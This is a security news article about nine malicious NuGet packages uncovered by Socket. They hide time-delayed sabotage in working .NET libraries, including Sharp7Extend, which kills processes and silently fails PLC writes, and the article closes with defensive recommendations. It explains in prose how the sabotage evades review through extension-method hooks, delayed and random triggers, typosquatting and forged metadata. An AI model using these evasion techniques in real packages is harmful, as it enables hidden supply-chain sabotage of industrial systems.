Researchers Uncover Malicious NuGet Packages with Delayed Sabotage

Researchers from Socket have revealed a sophisticated supply-chain attack involving nine malicious NuGet packages. These packages, which were downloaded a total of 9,488 times before the issue was disclosed, embed time-delayed sabotage routines within otherwise legitimate .NET libraries. The malicious code can disrupt host processes and, in one alarming case, compromise industrial control system write operations.

Exploiting Trust with Hidden Threats

The malicious packages, published under the alias shanhai666 between 2023 and 2024, cleverly deliver functional capabilities to establish trust among users while hiding approximately 20 lines of harmful code. By weaponizing C# extension methods, such as .Exec() for database commands and .BeginTran() for S7 PLC clients, the attackers ensure that every database query or PLC operation can implicitly execute the injected malicious logic.

The activation of this sabotage code is particularly insidious. Some packages are designed to activate as late as 2027 or 2028, giving the attackers an extended window for exploitation before detection. The most dangerous of these packages, known as Sharp7Extend, includes two sabotage mechanisms: an immediate process-kill on every PLC operation, active until June 6, 2028, and a deferred write-failure mechanism that silently returns failed results for up to 80% of write attempts after a 30–90 minute delay. This latter issue can corrupt PLC writes without any visible error messages, leading to severe operational risks.

Challenges in Detection and Mitigation

The malicious NuGet packages pose significant detection challenges. Most of the code is legitimate, which allows it to pass functional testing and code reviews. Additionally, typosquatting techniques, such as the name mix-up between Sharp7 and Sharp7Extend, increase the likelihood of accidental installations, especially in operational technology (OT) environments.

Other factors complicate detection efforts. The integration of legitimate libraries obscures red flags during testing, while the randomized, probabilistic activation of the code disguises systematic issues as random failures. The long delays between installation and activation further hinder forensic analysis, as the impact may not be immediately observed.

The attackers also employed varied author metadata and forged signature artifacts to evade automated detection systems, highlighting the need for enhanced vigilance in software supply chain management.

To combat this threat, organizations are urged to take immediate and long-term actions to bolster their supply chain resilience. Key recommendations include:

– **Audit dependencies**: Organizations should inventory their .NET packages and swiftly remove or replace any identified malicious packages.
– **Enforce dependency hygiene**: It is crucial to require verified publisher metadata, deny typosquatted names, and restrict package sources to approved registries.
– **Integrate scanning**: Continuous integration and continuous deployment (CI/CD) pipelines should include Software Bill of Materials (SBOM) checks and static analysis to identify suspicious time-based logic or unusual extension methods.
– **Monitor for unusual activity**: Organizations should set up alerts for date checks, randomized control flows, and unexpected uses of Process.Kill() in their dependencies.
– **Validate industrial control systems**: In industrial settings, implementing write-verification for PLC commands and monitoring the success rates of PLC operations can help identify sudden declines in performance.

By adopting these practices, organizations can enhance their software supply chain integrity and reduce the risk of hidden malicious logic. This campaign serves as a stark reminder of how supply-chain attacks can leverage trusted code and time delays to inflict damage while remaining undetected.